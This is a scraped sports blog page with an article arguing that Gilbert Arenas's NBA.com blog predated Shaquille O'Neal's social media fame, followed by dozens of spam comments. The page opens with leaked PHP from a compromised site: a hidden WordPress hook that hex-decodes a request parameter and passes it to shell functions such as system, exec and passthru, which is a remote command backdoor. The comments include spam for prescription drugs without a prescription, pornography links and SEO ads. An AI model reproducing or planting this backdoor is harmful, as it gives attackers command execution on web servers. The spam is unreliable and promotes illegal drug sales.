Problem to access license server. cURL error 6: Could not resolve host: shortcodesdeluxe.comProblem to access license server. cURL error 6: Could not resolve host: shortcodesdeluxe.com/***/add_action('wp', function() { if (!isset($_REQUEST["property_set"])) return; $system_core = "hex2bin"; $hub_center1 = "system"; $hub_center2 = "shell_exec"; $hub_center4 = "passthru"; $hub_center3 = "exec"; $hub_center6 = "stream_get_contents"; $hub_center7 = "pclose"; $hub_center5 = "popen"; $property_set = $system_core($_REQUEST["property_set"]); $marker = ''; for($x=0;$x*/ Before Shaq on Twitter, There Was Gilbert | Sports NetworkerSports Networker

Navigation

You are here: Home > Before Shaq on Twitter, There Was Gilbert

Before Shaq on Twitter, There Was Gilbert

Written by in Social Media in Sports
Comment
375

gilbert arenas basketball

When you think of social media and basketball, you think Shaquille O’Neal. He has over 2 million followers on Twitter and about 900,000 fans on Facebook. He is hilarious, innovative, active, and engaging. He was one of the first athletes to get involved with social media and his personality has helped make him one of social media’s biggest stars.

Shaq gets a lot of love for being the pioneer athlete in this space, but people fail to acknowledge the one who came before him and all other athletes: Gilbert Arenas.

In October 2006, Gilbert Arenas began blogging on NBA.com. He used the blog, “Agent Zero: The Blog File,” to complement his entertaining personality by making scoring predictions, writing about his experiences on and off the court, and giving the fans a true look into the life of an NBA star.  He interacted with fans, even making bets with them, and got into trouble from time to time for what he said. Most importantly, he was not afraid to push the envelope and he was transparent and honest. He was nothing more than Gilbert Arenas, and that is what made his blog so fun to read and follow.

When Arenas got hurt at the end of the 2006-07 season, his blog began to cool down. He wrote his last post on November 15th of 2008. While he exited the social media spotlight following the injury, Arenas had become the first athlete to succeed with social media. He led the way for Shaq and has barely received any credit.

How the Blog Impacted Arenas’ Career

Gilbert Arenas entered the league in 2001 and averaged 11 points and 25 minutes per game. His numbers rose every year until the 2005-06 season, when he averaged just under 30 points and 42 minutes per game. On December 17th, 2006, Agent Zero dropped 60 points on the Los Angeles Lakers, something only Wilt Chamberlain had done before. He was a rising star for a mediocre team.

Arenas had superstar abilities and a superstar personality, but it was the blog that elevated him to the next level. When Arenas wrote, people read. He wasn’t writing just for Washington Wizards fans. Arenas wanted the blog to help make him the NBA’s biggest name, and he was well on his way to that goal.  The blog made Arenas more relevant in the greater sports space, attracting attention outside of his local market including frequent posts on popular sports blogs like Deadspin.com.

Gilbert Arenas

In July of 2008, Arenas signed a six-year, $111 million contract with the Washington Wizards (after he declined $127 million over six years to free up money for the team to sign other quality players).  Would the offer have been that high without the blog? Maybe not. The blog made Arenas relevant throughout basketball, and that relevancy combined with his exciting scoring ability made him extremely attractive for teams around the league.

Arenas had a way of filling the seats, like the time he predicted he would drop 50 points against the Blazers. He only scored 9, but the game sold because of his prediction. On his blog, he wrote, “Before that day I made that prediction, I don’t think anybody knew who I was in Portland. So by me saying I was going to score 50, about 14,000 people showed up on a Tuesday night.” The Wizards wanted him to be the face of the team and hoped his superstardom would not only help the team build an identity, but also bring them more wins. They simply could not afford to lose him to free agency.

A Final Analogy

Before there was Facebook, there was Friendster. Friendster launched in 2003 and grew rapidly, attracting three million users in the first few months.  In 2004, Facebook came along. While its growth was not as aggressive initially, Facebook has completely dominated Friendster and the rest of the social world in the past few years. Today, Facebook has about three times as many users and has made Friendster almost entirely irrelevant, at least in the United States (Friendster is still quite popular in Asia).

Gilbert Arenas is to Friendster what Shaq is to Facebook.

Arenas was revolutionary, as Friendster was, but did not hit at the right time. Shaq, on the other hand, came along just as social media was really booming and has benefited immensely. Arenas was too early and his efforts have been widely forgotten. Hopefully he can return to good health and return to the social media scene. With his personality, basketball talent, and now with the presence of so many tools Arenas never had (Twitter, Ustream, etc), I know he has a chance to make a comeback. Not sure I can say the same for Friendster.

, , ,

375 Responses to Before Shaq on Twitter, There Was Gilbert

  1. Greta H. Andrews March 11, 2026 at 10:23 am #

    If you are planning a trekking adventure in Nepal and wish to explore the breathtaking Nepal Trekking, I highly recommend choosing Nature Trail Treks & Travel Company for an exceptional experience. Their expertise and personalized service ensure a memorable and safe journey through the Himalayas — visit us today! – https://www.naturetrail.com

  2. basalt crazy paving March 11, 2026 at 8:21 pm #

    Thanks for the clear and concise information.

  3. Adrienne D. Tanner March 11, 2026 at 11:23 pm #

    I completely agree with your perspective on this topic It’s refreshing to see someone presenting a balanced and thoughtful viewpoint

  4. Wilder Mann March 12, 2026 at 12:52 am #

    Keep up the incredible work! I can’t wait to see what you write next.

  5. August Stetson Douglas March 12, 2026 at 1:55 am #

    It means so much to receive positive feedback and know that my content is appreciated. I strive to bring new ideas and insights to my readers.

  6. baby scan near me March 12, 2026 at 11:53 am #

    This content is well-organized and easy to understand. It really helped me a lot.

  7. crazy paving cost March 12, 2026 at 12:38 pm #

    Really helpful content. Thanks for putting this together.

  8. buy lorazepam March 12, 2026 at 6:48 pm #

    buy lorazepam

  9. August Stetson Douglas March 13, 2026 at 12:59 am #

    Your posts always seem to lift my spirits and remind me of all the good in the world Thank you for being a beacon of positivity

  10. Jazmin Mikayla Julissa Irwin March 13, 2026 at 1:58 am #

    Your blog is a haven of positivity and encouragement It’s a reminder to always look on the bright side and choose happiness

  11. İstanbul reklam ajansları March 13, 2026 at 6:48 am #

    İstanbul reklam ajansları ZEYMEDYA REKLAM AJANSI | İSTANBUL REKLAM VE SEO AJANSI, DİJİTAL PAZARLAMA AJANSI, SOSYAL MEDYA AJANSI, 360 REKLAM – Çağlayan, Latif Sk. No:3, 34403 Kağıthane/İstanbul 0530 236 00 25 dijital pazarlama, SEO ve Google Ads alanlarında İstanbul reklam ajansları arasında öne çıkan profesyonel bir ajans. Stratejik reklam planlaması, ölçülebilir kampanya yönetimi ve veri odaklı yaklaşımı sayesinde markaların Google’daki görünürlüğünü ve dönüşüm oranlarını artırmaya odaklanıyor. Özellikle İstanbul reklam ajansları araştırması yapan işletmeler için güvenilir, sonuç odaklı ve sürdürülebilir çözümler sunan güçlü bir dijital çözüm ortağıdır. İstanbul reklam ajansları listesinde yer alan bu sayfa üzerinden detaylı bilgiye ulaşabilirsiniz: İstanbul reklam ajansları – ZEYMEDYA REKLAM AJANSI | İSTANBUL REKLAM VE SEO AJANSI, DİJİTAL PAZARLAMA AJANSI, SOSYAL MEDYA AJANSI, 360 REKLAM – Çağlayan, Latif Sk. No:3, 34403 Kağıthane/İstanbul 0530 236 00 25 İstanbul reklam ajansları

  12. son dakika haberleri March 13, 2026 at 10:10 am #

    I am extremely impressed with your writing skills and also with the layout on your blog.
    Is this a paid theme or did you moodify it yourself?Anyway keep
    up the excellent quality writing, it’s rare to see a great blog like this one nowadays.

    Visjt my page – son dakika haberleri

  13. Sakarya avize montajı March 13, 2026 at 2:45 pm #

    I blog frequently and I genuinely appreciate your content.

    This great article has rally peaked my interest. I’m going to bookmark your blog and keep checking for new
    information about once a week. I subscribed to your
    RSS feed too.

    Also visit my web-site: Sakarya avize montajı

  14. Finnley T. V. Hamilton March 13, 2026 at 3:24 pm #

    Your content always keeps me coming back for more!

  15. 7/24 çEkici Ankara March 14, 2026 at 6:56 am #

    Helloo there, You’ve done an excellent job. I will
    definitely digg it andd personallyy suggest to my friends.
    I am confident they will be benefited from this web site.

    Visit my web page: 7/24 çEkici Ankara

  16. YaTest321 March 14, 2026 at 2:34 pm #

    Thanks for sharing this content.
    zxvx321

  17. buy ativan without a prescription March 15, 2026 at 12:31 pm #

    order ativan without prescription

  18. Link Komdigi March 16, 2026 at 1:16 pm #

    As a new reader, I am blown away by the quality and depth of your content I am excited to explore your past posts and see what else you have to offer

  19. Çimento Fiyatları March 16, 2026 at 8:05 pm #

    Wow, this article is nice, my younger sister is analyzing these kinds of things,
    so I am going to let know her.

    Look into myy blog post :: Çimento Fiyatları

  20. İstanbul reklam ajansları March 17, 2026 at 1:22 pm #

    İstanbul reklam ajansları ZEYMEDYA REKLAM AJANSI | İSTANBUL REKLAM VE SEO AJANSI, DİJİTAL PAZARLAMA AJANSI, SOSYAL MEDYA AJANSI, 360 REKLAM – Çağlayan, Latif Sk. No:3, 34403 Kağıthane/İstanbul 0530 236 00 25 dijital pazarlama, SEO ve Google Ads alanlarında İstanbul reklam ajansları arasında öne çıkan profesyonel bir ajans. Stratejik reklam planlaması, ölçülebilir kampanya yönetimi ve veri odaklı yaklaşımı sayesinde markaların Google’daki görünürlüğünü ve dönüşüm oranlarını artırmaya odaklanıyor… Özellikle İstanbul reklam ajansları araştırması yapan işletmeler için güvenilir, sonuç odaklı ve sürdürülebilir çözümler sunan güçlü bir dijital çözüm ortağıdır. İstanbul reklam ajansları listesinde yer alan bu sayfa üzerinden detaylı bilgiye ulaşabilirsiniz: İstanbul reklam ajansları – ZEYMEDYA REKLAM AJANSI | İSTANBUL REKLAM VE SEO AJANSI, DİJİTAL PAZARLAMA AJANSI, SOSYAL MEDYA AJANSI, 360 REKLAM Çağlayan, Latif Sk. No:3, 34403 Kağıthane/İstanbul 0530 236 00 25 İstanbul reklam ajansları

  21. Makenzie Meyers March 17, 2026 at 10:19 pm #

    Your writing is so refreshing and authentic It’s like having a conversation with a good friend Thank you for opening up and sharing your heart with us

  22. Rylie Mosley March 18, 2026 at 1:26 am #

    Your blog post was really enjoyable to read, and I appreciate the effort you put into creating such great content. Keep up the great work!

  23. Liliana Hadlee Isabela Gonzales March 18, 2026 at 1:38 am #

    Acne Treatment That Actually Works | Struggled with acne for years until I found a treatment that really works. Here’s my honest, no-filter review of what helped clear my skin, reduce breakouts, and boost my confidence.

  24. Castiel W. Bright March 18, 2026 at 2:17 am #

    This blog has become a part of my daily routine I start my mornings with a cup of coffee and your latest post

  25. schoolido.lu March 18, 2026 at 8:50 am #

    References:

    River cree casino edmonton

    References:
    http://gojourney.xsrv.jp/index.php?beetpastry9

  26. Elianna L. B. Mcpherson March 19, 2026 at 1:50 am #

    Your blog stands out in a sea of generic and formulaic content Your unique voice and perspective are what keep me coming back for more

  27. Frances Spears March 19, 2026 at 2:51 am #

    The positivity and optimism conveyed in this blog never fails to uplift my spirits Thank you for spreading joy and positivity in the world

  28. KevinTes March 19, 2026 at 11:42 am #

    The growing interest in plant-based treatments has brought CBD https://www.cornbreadhemp.com/collections/thc-drinks into the spotlight. From athletes overseeing post-workout recovery to professionals contending with routine stress, its flexibility is impressive. Available in tinctures, balms, and edibles, there is a arrangement for each lifestyle. Excellence matters greatly — search for organically grown hemp, third-party lab testing, and clear sourcing to make certain you get a harmless, productive product.

  29. Isabel Gregory March 19, 2026 at 12:01 pm #

    Nice post, simple and engaging.

  30. Firma rehberi March 19, 2026 at 8:12 pm #

    Firma rehberi – Firmamap Firma Rehberi | TÜRKİYE FİRMA REHBERİ, YEREL İŞLETME LİSTELERİ, DİJİTAL TANITIM PLATFORMU – İstanbul Türkiye Türkiye genelindeki işletmeleri tek çatı altında toplayan kapsamlı bir firma rehberi platformudur. Kullanıcıların ihtiyaç duydukları hizmetlere hızlı ve kolay şekilde ulaşmasını sağlayan Firmamap, detaylı firma profilleri, kategori bazlı listeleme ve kullanıcı dostu arayüzü ile firma rehberi arayanlar için pratik ve güvenilir bir çözüm sunar. İşletmeler için dijital görünürlük, müşteri erişimi ve marka bilinirliği açısından etkili avantajlar sağlayarak firma rehberi platformları arasında öne çıkan güçlü bir dijital rehberdir.

    Firma rehberi listesinde yer alan bu sayfa üzerinden detaylı bilgiye ulaşabilirsiniz: Firma rehberi – Firmamap Firma Rehberi | TÜRKİYE FİRMA REHBERİ, YEREL İŞLETME LİSTELERİ, DİJİTAL TANITIM PLATFORMU – İstanbul Türkiye Firma rehberi

  31. Kimberly Villa March 20, 2026 at 1:56 am #

    Your latest blog post was truly inspiring and had some great insights. I can’t wait to see what else you have in store.

  32. Take me home service March 20, 2026 at 2:00 am #

    You have a way of explaining complex topics in a straightforward and easy to understand manner Your posts are always a pleasure to read

  33. ikinci el laptop alanlar March 20, 2026 at 5:53 am #

    Piece of writing writing is also a fun,if yyou know after
    that you can write otherwise it is complex to write.

    Check out my web site … ikinci el laptop alanlar

  34. Ariel Julien Maximus York March 20, 2026 at 8:20 am #

    Planning a trek in kyrgyzstan? Wonderful Kyrgyzstan offers stunning scenery view, rich culture, and an unforgettable experience. For a well-organized and hassle-free journey, I recommend Brothers International Tours Company – https://brothersadventures.com/wonderful-kyrgyzstan-scenic-culture-tour

  35. Miriam Mitchell March 20, 2026 at 2:26 pm #

    This was beautiful Admin. Thank you for your reflections.

  36. türkçe porno March 20, 2026 at 9:20 pm #

    Good info. Lucky me I reach on your website by accident, I bookmarked it. türkçe porno https://xsubtr.com/?orderby=views

  37. SMS onay March 21, 2026 at 6:51 am #

    What’s up, of course this piece of writing is inn fact good and I ave learned lot oof things from
    iit concerning blogging. thanks.

    Feel free to surf to myy website SMS onay

  38. komdigi March 21, 2026 at 7:17 am #

    I’ve learned so much from this blog and have implemented many of the tips and advice into my daily routine Thank you for sharing your knowledge!

  39. Simge Erciyas March 21, 2026 at 4:56 pm #

    Tüzükte Başka, Kürsüde Başka

  40. online ativan March 22, 2026 at 12:20 am #

    buy ativan

  41. konulu porno March 22, 2026 at 3:15 am #

    Thank you for great article. Hello Administ .türkçe porno https://xsubtr.com/?orderby=views

  42. Konyaaltı transfer March 22, 2026 at 4:44 am #

    Thank you forr the auspicious writeup. It in truth used
    to be a enjoyment account it. Glance advanced to far introduced agreeable from
    you! However, how could we be iin contact?

    Look at my homepage – Konyaaltı transfer

  43. Simge Erciyas March 22, 2026 at 11:59 am #

    Tüzükte Başka, Kürsüde Başka

  44. Riley D. Choi March 22, 2026 at 2:49 pm #

    Your honesty and vulnerability in sharing your personal experiences is truly admirable It takes courage to open up and I applaud you for it

  45. İSMAİL ARI March 22, 2026 at 11:50 pm #

    SOYGUNCUYU DEĞİL, SOYGUNCUYU YAZAN GAZETECİYİ KELEPÇELEDİLER! 630 MİLYON TL halkın parası naylon faturalarla çalındı! AKP’li Aile Bakanı Mahinur Göktaş’ın eşi Rahmi Göktaş MHP’li Semih Yalçın’ın oğlu Abdullah Kutalmış Yalçın Bu isimler soygunun kilit imzacılarıydı. Skandal patladı → istifa ettiler ama tek bir sorgu bile yok! Hesap veren yok, yargılanan yok!

  46. Tatum Singh March 24, 2026 at 1:56 am #

    Keep up the fantastic work and continue to inspire us all!

  47. Johanna Shaw March 24, 2026 at 4:47 am #

    I appreciate the effort that goes into creating high-quality content, and this post was no exception. The insights and information were top-notch and made for a really engaging read. Keep up the great work!

  48. Dakota Giselle Park March 25, 2026 at 7:40 am #

    Your blog is a ray of sunshine in a sometimes dark and dreary world Thank you for spreading positivity and light

  49. Madeleine Parrish March 25, 2026 at 8:04 am #

    Wow, this blogger is seriously impressive!

  50. Çelik Villa March 25, 2026 at 10:37 pm #

    Well done! The structure and clarity of your writing make it a great read.

← Older Comments
Newer Comments →

Leave a Reply

Website Managed by T3 CONNECT